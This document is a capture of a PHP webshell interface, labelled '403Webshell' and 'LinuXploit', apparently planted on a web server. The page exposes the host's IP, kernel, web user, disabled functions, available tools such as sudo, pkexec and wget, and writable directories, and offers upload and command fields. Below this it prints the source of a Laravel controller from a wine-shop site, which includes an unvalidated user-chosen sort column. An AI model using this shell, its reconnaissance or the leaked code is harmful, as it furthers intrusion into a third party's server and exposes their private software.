403Webshell
Server IP : 54.233.248.239  /  Your IP : 172.28.20.13
Web Server : Apache
System : Linux ip-172-28-29-189 6.5.0-1014-aws #14~22.04.1-Ubuntu SMP Thu Feb 15 15:27:06 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.2.34-43+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/vinumday2_0/app/Http/Controllers/Website/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/vinumday2_0/app/Http/Controllers/Website/CanalController.php
<?php

namespace App\Http\Controllers\Website;

use App\Http\Requests;
use Illuminate\Http\Request;
use App\Http\Controllers\BaseController;
use Illuminate\Support\Facades\Log;

use App\Modules\Produto\Models\Produto;
use App\Modules\ProdutoCaracteristica\Models\ProdutoCaracteristica;
use App\Modules\TipoDeProduto\Models\TipoDeProduto;
use App\Modules\Pais\Models\Pais;
use App\Modules\ProdutoRegiao\Models\ProdutoRegiao;
use App\Modules\Canal\Models\Canal;
use App\Modules\Oferta\Models\Oferta;
use App\Modules\OfertaReserva\Models\OfertaReserva;
use DB;

use App\Services\CartService;
use App\Services\GeralService;

class CanalController extends BaseController
{

    protected $canaisLiberados;

    /**
     * Create a new controller instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
        $this->canaisLiberados = \App\BasicInfo::first()->value('liberar_canais');
    }

    /**
     * Show the application dashboard.
     *
     * @return \Illuminate\Http\Response
     */

    public function outlet($slug, Request $request)
    {
        $data = array();
        $post = $request->input();

        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas                  = GeralService::buscarOfertasCanal($canal, $request);
        $maxPercentualDesconto         = GeralService::buscarMaxPercentualDescontoCanal($canal, $request);
        $data['maxPercentualDesconto'] = $maxPercentualDesconto ? number_format($maxPercentualDesconto->percentual_desconto, 0) : 0;

        $viewItem  = view_item_canal($canal->tipo);
        $viewLista = view_lista_canal($canal->tipo);

        $ofertasCart  = CartService::buscarOfertasCart();
        setcookie('ofertas_esgotadas', FALSE);
        $viewProdutos = view("canal/{$viewItem}", ['listaOfertas' => $listaOfertas, 'canal' => $canal, 'ofertasCart' => $ofertasCart]);

        $ofertasEsgotadas = GeralService::checkOfertasEsgotadas($listaOfertas);
        setcookie('ofertas_esgotadas', $ofertasEsgotadas, time() + 60 * 60 * 24 * 1);
        
        $data['htmlListaProdutos'] = $viewProdutos->render();
        $data['qtdeOfertas']       = ($canal->tipo == 'BF') ?  $listaOfertas->total() : count($listaOfertas); // || $canal->tipo == 'OU'
        $data['lastPage']          = ($canal->tipo == 'BF') ?  $listaOfertas->lastPage() : 1; //  || $canal->tipo == 'OU'

        if($request->input('page') && $request->input('page') != 1){
            echo $data['htmlListaProdutos'];
        }else{
            $data['titulo_pagina']    = $canal->nome;
            $data['subtitulo_pagina'] = $canal->subtitulo;
            $data['canal']            = $canal;

            return view("canal/{$viewLista}", $data);
        }

    }

    public function individual($slug, Request $request)
    {
        $post         = $request->input();
        $data         = array();
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas = GeralService::buscarOfertasCanal($canal);

        $viewProdutos = view('canal/canal-lista-item', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;

        return view('canal/canal-lista', $data);
    }

    public function exclusivo($slug, Request $request)
    {
        $post         = $request->input();
        $data         = array();
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas = GeralService::buscarOfertasCanal($canal);

        $viewProdutos = view('canal/canal-lista-item', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;

        return view('canal/canal-lista', $data);
    }

    public function premium($slug, Request $request)
    {
        $post         = $request->input();
        $data         = $post;
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas        = GeralService::buscarOfertasCanal($canal, $post);
        $data['qtdeOfertas'] = count($listaOfertas);

        $dataLista = ['listaOfertas' => $listaOfertas, 'canal' => $canal];
        if(isset($data['video'])){
            $dataLista = array_merge($dataLista, ['video' => $data['video']]);
        }
        $viewProdutos = view('canal/canal-lista-item-premium', $dataLista);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;

        return view('canal/canal-lista-premium', $data);
    }

    public function relampago($slug, Request $request)
    {
        $post         = $request->input();
        $data         = $post;
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas        = GeralService::buscarOfertasCanal($canal, $post);
        $data['qtdeOfertas'] = count($listaOfertas);

        $dataLista = ['listaOfertas' => $listaOfertas, 'canal' => $canal];
        if(isset($data['video'])){
            $dataLista = array_merge($dataLista, ['video' => $data['video']]);
        }
        $viewProdutos = view('canal/canal-lista-item-relampago', $dataLista);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;

        return view('canal/canal-lista-relampago', $data);
    }

    public function cruClasse($slug, $pais = FALSE, $regiao = FALSE, Request $request)
    {
        $post           = $request->input();
        $post['pais']   = $pais;
        $post['regiao'] = $regiao;
        $data           = $post;
        $check          = GeralService::checkCanal($slug, $post);
        $data['slug']   = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal, TRUE);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal, TRUE);
        $data['listaRegioes']       = GeralService::buscarRegioesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal, TRUE);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal, TRUE);

        $data['listaRegioes']       = GeralService::buscarRegioesPais($data['listaRegioes']);

        $listaOfertas        = GeralService::buscarOfertasCanal($canal, $post, TRUE);
        $data['qtdeOfertas'] = count($listaOfertas);

        $dataLista = ['listaOfertas' => $listaOfertas, 'canal' => $canal];
        if(isset($data['video'])){
            $dataLista = array_merge($dataLista, ['video' => $data['video']]);
        }
        $viewProdutos = view('canal/canal-lista-item-cru-classe', $dataLista);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;
        $data['pais']             = $pais;
        $data['regiao']           = $regiao;

        if($data['pais'] == 'pais'){
            return view('canal/canal-cru-classe-pais', $data);
        }elseif ($pais != NULL && $regiao == NULL) {
            
            $data['pais'] = Pais::where('slug', $data['pais'])->first();
            if(!$data['pais']){
                Log::info("País não encotrado: " . $pais);
                return redirect('/cru-classe/'.$canal->slug.'/pais');
            }
            $data['listaRegioes'] = GeralService::buscarRegioesCanal($canal, $data['pais']->id);

            return view('canal/canal-cru-classe-regiao', $data);
        }elseif ($pais != NULL && $regiao != NULL) {
            $data['pais']   = Pais::where('slug', $data['pais'])->first();
            $data['regiao'] = ProdutoRegiao::where('slug', $regiao)->first();
        }

        return view('canal/canal-lista-cru-classe', $data);
        
    }

    public function cruClassePais($slug, $pais, Request $request)
    {
        $post         = $request->input();
        $data         = $post;
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal, TRUE);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal, TRUE);
        $data['listaRegioes']       = GeralService::buscarRegioesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal, TRUE);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal, TRUE);

        $data['listaRegioes']       = GeralService::buscarRegioesPais($data['listaRegioes']);

        $listaOfertas        = GeralService::buscarOfertasCanal($canal, $post, TRUE);
        $data['qtdeOfertas'] = count($listaOfertas);

        $dataLista = ['listaOfertas' => $listaOfertas, 'canal' => $canal];
        if(isset($data['video'])){
            $dataLista = array_merge($dataLista, ['video' => $data['video']]);
        }
        $viewProdutos = view('canal/canal-lista-item-cru-classe', $dataLista);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = $canal->nome;
        $data['subtitulo_pagina'] = $canal->subtitulo;
        $data['canal']            = $canal;
        $data['pais']             = $pais;

        if($pais == 'pais'){
            return view('canal/canal-cru-classe-pais', $data);
        }

        $data['pais']         = Pais::where('slug', $data['pais'])->first();
        $data['listaRegioes'] = GeralService::buscarRegioesCanal($canal, $data['pais']->id);

        return view('canal/canal-cru-classe-regiao', $data);
    }

    public function gold($slug, Request $request)
    {
        $post         = $request->input();
        $data         = $post;
        $check        = GeralService::checkCanal($slug, $post);
        $data['slug'] = $slug;

        if(!$check->status){
            if(isset($check->redirect)){
                return redirect($check->redirect);
            }
            return redirect('/');
        }

        $canal = $check->canal;

        GeralService::checkoutTracking('canal', ['id_tipo' => $canal->id, 'observacao' => $request->fullUrl()]);

        $data['listaTipoDeProduto'] = GeralService::buscarTipoProdutoCanal($canal);
        $data['listaPaises']        = GeralService::buscarPaisesCanal($canal);
        $data['listaAnos']          = GeralService::buscarAnosCanal($canal);
        $data['listaFaixas']        = GeralService::buscarFaixasOfertas($canal);

        $listaOfertas         = GeralService::buscarOfertasCanal($canal, $post);
        $data['listaOfertas'] = $listaOfertas;

        $view_item  = ($slug == 'acessorios' || $slug == 'vinum-wear') ? "canal-lista-item-{$slug}" : "canal-lista-item-gold";
        $view_lista = ($slug == 'acessorios' || $slug == 'vinum-wear') ? "canal-lista-{$slug}" : "canal-lista";

        $viewProdutos = view("canal/{$view_item}", ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
        $data['htmlListaProdutos'] = $viewProdutos->render();

        $data['titulo_pagina']    = ($slug != 'vinum-wear' ? $canal->nome . ' ' . $canal->subtitulo : '') ;
        $data['subtitulo_pagina'] = '';
        $data['canal']            = $canal;
        $data['imagem_fundo']     = ($slug == 'vinum-wear' ? (!empty($canal->thumbnail_principal) ? config('filesystems.path') . "/canal/{$canal->thumbnail_principal}" : url('img/site/wear.png'))  : '');

        return view("canal/{$view_lista}", $data);
    }

    public function outletFiltrar(Request $request) {

        $tempo_reserva = OfertaReserva::dataAtual();

        $filtros = $request->input();

        if(!isset($filtros['filtroSelecionado'])){
            $filtros['filtroSelecionado'] = $filtros;
        }

        if(isset($filtros['filtroSelecionado']['slug'])){
            $slug = $filtros['filtroSelecionado']['slug'];
        }else{
            $slug = '';
        }

        $query =  Oferta::select(
            'oferta.*',
            'tipo_de_produto.nome as nome_tipo_produto', 
            'tipo_de_produto.grupo as grupo_tipo_produto', 
            'tipo_de_produto.thumbnail_principal as thumbnail_tipo_produto', 
            'pais.thumbnail_principal as thumbnail_pais', 'pais.nome as nome_pais',
            DB::raw("(SELECT 1 FROM oferta_reserva WHERE oferta.id = oferta_reserva.oferta_id LIMIT 1) AS 'oferta_reserva'")
        )
        ->join('oferta_has_produto','oferta_has_produto.id_oferta','=','oferta.id')
        ->join('produto','produto.id','=','oferta_has_produto.id_produto')
        ->join('produto_caracteristica','produto.id','=','produto_caracteristica.id_produto')
        ->join('tipo_de_produto','tipo_de_produto.id','=','produto.id_tipo_produto')
        ->join('pais','pais.id','=','produto.id_pais_origem')
        ->join('canal_has_oferta','canal_has_oferta.id_oferta','=','oferta.id')
        ->join('canal','canal_has_oferta.id_canal','=','canal.id')
        ->where('canal_has_oferta.data_inicial' , '<=', date('Y-m-d'))
        ->where('canal_has_oferta.data_final' , '>=', date('Y-m-d'))
        ->where('canal.slug',$slug)
        ->with('produtos.produto')
        ->groupBy('oferta.id');

        if (isset($filtros['filtroSelecionado']) ) {

            if(isset($filtros['filtroSelecionado']['tipoDeProduto']) && !is_array($filtros['filtroSelecionado']['tipoDeProduto'])){
                if(empty($filtros['filtroSelecionado']['tipoDeProduto'])){
                    unset($filtros['filtroSelecionado']['tipoDeProduto']);
                }else{
                    $filtros['filtroSelecionado']['tipoDeProduto'] = explode(',', $filtros['filtroSelecionado']['tipoDeProduto']);
                }
            }

            if (isset($filtros['filtroSelecionado']['tipoDeProduto']) && count($filtros['filtroSelecionado']['tipoDeProduto']) > 0) {
                //$query->join('tipo_de_produto','tipo_de_produto.id','=','produto.id_tipo_produto');
                $query->whereIn('produto.id_tipo_produto', $filtros['filtroSelecionado']['tipoDeProduto']);
            }

            if(isset($filtros['filtroSelecionado']['pais']) && !is_array($filtros['filtroSelecionado']['pais'])){
                if(empty($filtros['filtroSelecionado']['pais'])){
                    unset($filtros['filtroSelecionado']['pais']);
                }else{
                    $filtros['filtroSelecionado']['pais'] = explode(',', $filtros['filtroSelecionado']['pais']);
                }
            }

            if (isset($filtros['filtroSelecionado']['pais']) && count($filtros['filtroSelecionado']['pais']) > 0) {
                //$query->join('pais','pais.id','=','produto.id_pais_origem');
                $query->whereIn('produto.id_pais_origem', $filtros['filtroSelecionado']['pais']);
            }

            if (isset($filtros['filtroSelecionado']['pesquisa']) && !empty($filtros['filtroSelecionado']['pesquisa'])) {
                $query->where(function($q) use($filtros){
                    $q->orwhere('oferta.titulo', 'LIKE', '%' . $filtros['filtroSelecionado']['pesquisa'] . '%');
                    $q->orwhere('oferta.sub_titulo', 'LIKE', '%' . $filtros['filtroSelecionado']['pesquisa'] . '%');
                });
            }

            if(isset($filtros['filtroSelecionado']['ano']) && !is_array($filtros['filtroSelecionado']['ano'])){
                if(empty($filtros['filtroSelecionado']['ano'])){
                    unset($filtros['filtroSelecionado']['ano']);
                }else{
                    $filtros['filtroSelecionado']['ano'] = explode(',', $filtros['filtroSelecionado']['ano']);
                }
            }

            if (isset($filtros['filtroSelecionado']['ano']) && count($filtros['filtroSelecionado']['ano']) > 0) {
                $query->where(function($q) use($filtros){
                    if(in_array('', $filtros['filtroSelecionado']['ano'])){

                        
                        $q->whereIn('produto_caracteristica.safra', $filtros['filtroSelecionado']['ano']);
                        $q->orWhereNull('produto_caracteristica.safra');
                    }else{
                        $q->whereIn('produto_caracteristica.safra', $filtros['filtroSelecionado']['ano']);
                    }
                });
                
                //$query->whereIn('produto.ano', $filtros['filtroSelecionado']['ano']);
            }

            if(isset($filtros['filtroSelecionado']['faixapreco']) && !is_array($filtros['filtroSelecionado']['faixapreco'])){
                if(empty($filtros['filtroSelecionado']['faixapreco'])){
                    unset($filtros['filtroSelecionado']['faixapreco']);
                }else{
                    $filtros['filtroSelecionado']['faixapreco'] = explode(',', $filtros['filtroSelecionado']['faixapreco']);
                }
            }

            if (isset($filtros['filtroSelecionado']['faixapreco']) && count($filtros['filtroSelecionado']['faixapreco']) > 0) {
                
                $query->where(function($q) use($filtros){
                    $faixaInicio = 0;
                    $faixaFim = 0;
                    foreach ($filtros['filtroSelecionado']['faixapreco'] as $key => $objFaixaPreco) {
                        if ($objFaixaPreco == 1){
                            $faixaInicio = 0;
                            $faixaFim = 60;
                        }
                        if ($objFaixaPreco == 2){
                            $faixaInicio = 60;
                            $faixaFim = 100;
                        }
                        if ($objFaixaPreco == 3){
                            $faixaInicio = 100;
                            $faixaFim = 200;
                        }
                        if ($objFaixaPreco == 4){
                            $faixaInicio = 200;
                            $faixaFim = 500;
                        }
                        if ($objFaixaPreco == 5){
                            $faixaInicio = 500;
                            $faixaFim = 1000000;
                        }

                        $q->orwhere('oferta.preco_oferta', '>', $faixaInicio);
                        $q->where('oferta.preco_oferta', '<=', $faixaFim);
    

                    }                
                });

            }

            /*
            if (isset($filtros['filtroSelecionado']['caracteristica']) && count($filtros['filtroSelecionado']['caracteristica']) > 0) {
                $query->join('produto_has_caracteristica','produto_has_caracteristica.id_produto','=','produto.id');
                $query->whereIn('produto_has_caracteristica.id_caracteristica', $filtros['filtroSelecionado']['caracteristica']);
            }

            if (isset($filtros['filtroSelecionado']['capacidade']) && count($filtros['filtroSelecionado']['capacidade']) > 0) {
                $query->join('capacidade','capacidade.id','=','produto.id');
                $query->whereIn('produto.id_capacidade', $filtros['filtroSelecionado']['capacidade']);
            }

            if (isset($filtros['filtroSelecionado']['uso']) && count($filtros['filtroSelecionado']['uso']) > 0) {
                $query->join('produto_has_uso','produto_has_uso.id_produto','=','produto.id');
                $query->whereIn('produto_has_uso.id_uso', $filtros['filtroSelecionado']['uso']);
            }

            if (isset($filtros['filtroSelecionado']['cor']) && count($filtros['filtroSelecionado']['cor']) > 0) {
                $query->join('produto_has_cor','produto_has_cor.id_produto','=','produto.id');
                $query->whereIn('produto_has_cor.id_cor', $filtros['filtroSelecionado']['cor']);
            }
            */

        }

        $query->whereRaw('canal_has_oferta.deleted_at IS NULL');

        // $filtros['filtroSelecionado']['sort'] = "oferta.preco_oferta:asc";
        // $filtros['filtroSelecionado']['sort'] = "oferta.preco_oferta:desc";

        if(isset($filtros['filtroSelecionado']['sort']) && !empty($filtros['filtroSelecionado']['sort'])){
            $order = explode(":", $filtros['filtroSelecionado']['sort']);
            $field = $order[0];
            $sort  = isset($order[1]) ? $order[1] : 'asc';
        }else{
            $field = 'canal_has_oferta.ordenacao';
            $sort  = 'asc';
        }

        $canal = Canal::where('slug', $slug)->first();

        if($canal->tipo == 'BF'){ // || $canal->tipo == 'OU'
            $listaOfertas = $query->orderBy($field, $sort)->paginate(15);
            $lastPage     = $listaOfertas->lastPage();
            $totalOfertas = $listaOfertas->total();
        }else{
            $listaOfertas = $query->orderBy($field, $sort)->get();
            $lastPage     = 1;
            $totalOfertas = count($listaOfertas);
        }

        if($canal->tipo == 'BF' || $canal->tipo == 'OU'){
            $ofertasCart      = CartService::buscarOfertasCart();
            if(!$request->input('page')){
                $ofertasEsgotadas = GeralService::checkOfertasEsgotadas($listaOfertas);
                setcookie('ofertas_esgotadas', $ofertasEsgotadas, time() + 60 * 60 * 24 * 1);
            }
            $view_item = view_item_canal($canal->tipo);
            $view = \View::make('canal/' . $view_item, ['listaOfertas' => $listaOfertas, 'canal' => $canal, 'ofertasCart' => $ofertasCart]);
            $html = $view->render();
            $ofertasEsgotadas = GeralService::checkOfertasEsgotadas($listaOfertas);
            if(isset($_COOKIE['ofertas_esgotadas'])){
                $ofertasEsgotadas += $_COOKIE['ofertas_esgotadas'];
            }
            setcookie('ofertas_esgotadas', $ofertasEsgotadas, time() + 60 * 60 * 24 * 1);
            if($request->input('page') && $request->input('page') != 1 && $canal->tipo == 'BF'){
                echo $html;
                if($request->input('page') == $lastPage && isset($_COOKIE['ofertas_esgotadas'])){
                    setcookie('ofertas_esgotadas', FALSE);
                }
                die;
            }
        }

        if ($canal->tipo == 'PR') {
            $view = \View::make('canal/canal-lista-item-premium', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
            $html = $view->render();
        }

        if ($canal->tipo == 'CR') {
            $view = \View::make('canal/canal-lista-item-cru-classe', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
            $html = $view->render();
        }

        if ($canal->tipo == 'GD') {

            $view_item  = ($slug == 'acessorios' || $slug == 'vinum-wear') ? "canal-lista-item-{$slug}" : "canal-lista-item-gold";

            $view = \View::make("canal/{$view_item}", ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
            $html = $view->render();
        }

        if ($canal->tipo == 'EX') {
            $view = \View::make('canal/canal-lista-item', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
            $html = $view->render();
        }

        if ($canal->tipo == 'IN') {
            $view = \View::make('canal/canal-lista-item', ['listaOfertas' => $listaOfertas, 'canal' => $canal]);
            $html = $view->render();
        }

        return json_encode(['htmlListaProdutos' => $html, 'lastPage' => $lastPage, 'total' => $totalOfertas]);

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit